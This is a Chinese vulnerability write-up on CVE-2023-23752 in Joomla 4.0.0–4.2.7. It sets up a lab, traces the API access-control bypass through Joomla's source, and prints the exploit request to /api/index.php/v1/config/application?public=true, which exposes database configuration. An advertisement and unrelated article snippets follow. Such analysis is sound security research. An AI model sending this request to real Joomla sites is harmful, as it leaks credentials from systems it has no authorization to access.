Joomla未授权访问漏洞(CVE-2023-23752)

news2025/7/20 19:03:27

漏洞简介

image

在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

影响版本

4.0.0 <= Joomla <= 4.2.7

环境搭建

文件下载地址 https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip

利用 phpstudy 搭建漏洞环境

我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php7.4.3 ,同时利用 PhpStorm 来实现对项目的调试

image

安装完成后

前台

image

后台

image

漏洞复现

构造路由 /api/index.php/v1/config/application?public=true

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

返回了数据库的相关信息

image

image

漏洞分析

经过调试分析发现是对 api 路径下的身份校验进行了绕过,默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}

所以就针对于 api 路径下的身份校验进行具体分析

api/index.php

image

api/includes/app.php

image

\Joomla\CMS\Application\CMSApplication::execute

image

\Joomla\CMS\Application\ApiApplication::doExecute

image

其中的 $this->route();​ 对应了路由应用程序

\Joomla\CMS\Application\ApiApplication::route

image

image

$router​ 对应了 api 下所有的路由信息,之后调用 parseApiRoute​ 对路由进行处理

\Joomla\CMS\Router\ApiRouter::parseApiRoute

image

image

当 public 为false 时,是禁止外部访问的

GET /api/index.php/v1/config/application HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:XDEBUG_SESSION=PHPSTORM
Connection: close

image

但是通过路径传入的值在之后可以覆盖替换原本的值

image

GET /api/index.php/v1/config/application?public=true HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:XDEBUG_SESSION=PHPSTORM
Connection: close

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/368699.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python 函数式编程

函数式编程&#xff1a;允许把函数本身作为参数传入另一个函数&#xff0c;还允许返回一个函数&#xff01; 1.高阶函数 一个函数可以接收另一个函数作为参数&#xff0c;这种函数称之为高阶函数 abs(-10) 是函数调用 abs是函数本身 abs函数名其实是一个变量名 变量可以…

C++基础入门丨8. 结构体——还需要知道这些

Author&#xff1a;AXYZdong 硕士在读 工科男 有一点思考&#xff0c;有一点想法&#xff0c;有一点理性&#xff01; 定个小小目标&#xff0c;努力成为习惯&#xff01;在最美的年华遇见更好的自己&#xff01; CSDNAXYZdong&#xff0c;CSDN首发&#xff0c;AXYZdong原创 唯…

SpringCloud - Nacos注册发现

目录 服务注册到Nacos 服务分级存储模型 NacosRule负载均衡 服务实例的权重设置 环境隔离 Nacos与Eureka的对比 添加Nacos配置 微服务配置拉取 配置热更新 多环境配置共享 服务注册到Nacos 1.在父工程引入SpringCloudAlibaba的依赖 2.注释掉order-service和user-ser…

Web前端学习:一

编辑器的基础使用 编辑器推荐使用&#xff1a; HBuilderx&#xff08;免费中文&#xff09;&#xff08;建议使用&#xff09; Sublime&#xff08;免费英文&#xff09; Sublime中文设置方法&#xff0c;下载语言插件&#xff1a; 1、进入Sublime后&#xff0c;ShiftCtrlP…

流程图培训

工具 wps 目前咱们在新建里面&#xff0c;可以新建流程图 构成流程图的图形符号及其作用 常用的流程图介绍 flowchart 和 BPMN 两种 flowchart: 最开始的全名是”Process Flow Charts”&#xff0c;即处理流程图表。 BPMN&#xff1a; 定义了业务流程图&#xff0c;其基…

最新版本vue3+vite重构尚品汇(解决接口问题)第1-20集

本来想弄微信小程序的&#xff0c;但是注册小程序要花300块钱&#xff0c;我自学编程这么久&#xff0c;还没赚到1分钱呢。所以还是白嫖起手&#xff0c;从尚品汇弄起&#xff0c;弄完自己做一个实际的电商平台项目&#xff0c;把所有流程走一遍&#xff0c;到时候拿着自己的项…

JavaEE简单实例——MyBatis的一对一映射的嵌套查询的简单介绍和基础配置

简单介绍&#xff1a; 在前一章我们介绍了关于MyBatis的多表查询的时候的对应关系&#xff0c;其中有三种对应关系&#xff0c;分别是一对一&#xff0c;一对多&#xff0c;多对多的关系。如果忘记了这三种方式的对应形式可以去前面看看&#xff0c;一定要记住这三种映射关系的…

微服务架构下路由、多活、灰度、限流的探索与挑战

导语 2022腾讯全球数字生态大会已圆满落幕&#xff0c;大会以“数实创新、产业共进”为主题&#xff0c;聚焦数实融合&#xff0c;探索以全真互联的数字技术助力实体经济高质量发展。大会设有29个产品技术主题专场、18个行业主题专场和6个生态主题专场&#xff0c;各业务负责人…

Linux基础命令-locate快速查找文件

文章​​​​​​​目录 locate 命令介绍 语法格式 基本参数 参考实例 1&#xff09;查找1.txt相关的文件 2&#xff09;查找包含pass和txt都有的文件 3&#xff09;只匹配文件名&#xff0c;有路径的情况下不进行匹配 4&#xff09;匹配不区分大小写的文件 5&#…

Java多线程(四)---并发编程容器

1.经常使用什么并发容器&#xff0c;为什么&#xff1f;答&#xff1a;Vector、ConcurrentHashMap、HasTable一般软件开发中容器用的最多的就是HashMap、ArrayList&#xff0c;LinkedList &#xff0c;等等但是在多线程开发中就不能乱用容器&#xff0c;如果使用了未加锁&#…

Java EE|TCP/IP协议栈之TCP协议工作机制上

文章目录前言一、确认应答二、超时重传三、连接管理三次握手四次挥手前言 前边&#xff0c;我们已经大概交代了TCP的报文结构。但是仍有一些字段我们不确定到底怎么理解&#xff0c;这里就分析TCP的内部工作机制了。 TCP的内部很复杂&#xff0c;有很多机制&#xff0c;这里我们…

Super intelligent port AI smart port termial, CIMCAI top port AI

中国上海人工智能企业CIMCAI&#xff0c;全球港航人工智能领军者企业&#xff0c;顶尖AI科技及工业级成熟人工智能产品&#xff0c;打造高效能智能化港口数字化航运码头数字化。Ceaspectus™领跑全球港口人工智能&#xff0c;建设新一代高效能先进港口码头。Ceaspectus™先进方…

通过操作Cortex-A7核,串口输入相应的命令,控制LED灯进行工作

1.通过操作Cortex-A7核&#xff0c;串口输入相应的命令&#xff0c;控制LED灯进行工作 例如在串口输入led1on,开饭led1灯点亮 2.例如在串口输入led1off,开饭led1灯熄灭 3.例如在串口输入led2on,开饭led2灯点亮 4.例如在串口输入led2off,开饭led2灯熄灭 5.例如在串口输入led…

苹果电容笔和普通电容笔区别是什么?开学好用电容笔推荐

苹果的电容笔与一般的电容笔有何不同呢&#xff1f;两者的差距并不是很大。不过这款原装的苹果电容笔&#xff0c;重量要普通的电容笔重得多&#xff0c;而且笔尖还有一个特殊的重力感应装置&#xff0c;在其他方面两者并没有太大的差异。但是&#xff0c;由于苹果电容笔的售价…

QT自绘标题和边框

在QT中如果想要自绘标题和边框&#xff0c;一般步骤是&#xff1a; 1&#xff09; 在创建窗口前设置Qt::FramelessWindowHint标志&#xff0c;设置该标志后会创建一个无标题、无边框的窗口。 2&#xff09;在客户区域的顶部创建一个自绘标题栏。 3&#xff09;给窗口绘制一个背…

Hadoop的生成经验调优和基准测试

文章目录&#xff08;1&#xff09;项目经验之HDFS存储多目录&#xff08;2&#xff09;项目经验之集群数据均衡&#xff08;3&#xff09;项目经验之Hadoop参数调优&#xff08;4&#xff09;项目经验之支持LZO压缩配置&#xff08;5&#xff09;项目经验之LZO创建索引&#x…

软考中级--嵌入式系统设计师考试培训教程开始了

1.考试时间: 1.1 上半年5月下旬考试 1.2 下半年11月上旬考试 2.考试内容 2.1 系统基础 满分75分 时间150分钟 2.2 系统设计 满分75分 时间150分钟 3.计划安排 3.1 熟悉考试大纲 3.2 按考纲学习相关内容 整理设计知识 快速学习形成知识印象 3.3 复习整理的知识 …

Hadoop3.3.1完全分布式部署

Hadoop目录Hadoop3.3.1完全分布式部署(一)1、HDFS一、安装1、基础安装1.1、配置JDK-181.2、下载并解压hadoop安装包本地运行模式测试 eg:2、完全分布式运行模式1、概要&#xff1a;2、编写集群分发脚本&#xff0c;把1~4步安装的同步到其他服务器&#xff1a;2.1、创建脚本vim …

Tailwind CSS 在Vue中的使用

什么是Tailwind CSS&#xff1f; Tailwind CSS 是一个功能类优先的 CSS 框架&#xff0c;它集成了诸如 flex, pt-4, text-center 和 rotate-90 这样的的类&#xff0c;支持 hover 和 focus 样式&#xff0c;它们能直接在脚本标记语言中组合起来&#xff0c;构建出任何设计。 …

【算法基础】 Trie树

一、Trie树Trie树用于高效存储和查找字符串集合的数据结构。二、Trie字符串统计维护一个字符串集合&#xff0c;支持两种操作&#xff1a;I x 向集合中插入一个字符串 x&#xff1b;Q x 询问一个字符串在集合中出现了多少次。共有 N&#xfffd;个操作&#xff0c;所有输入的字…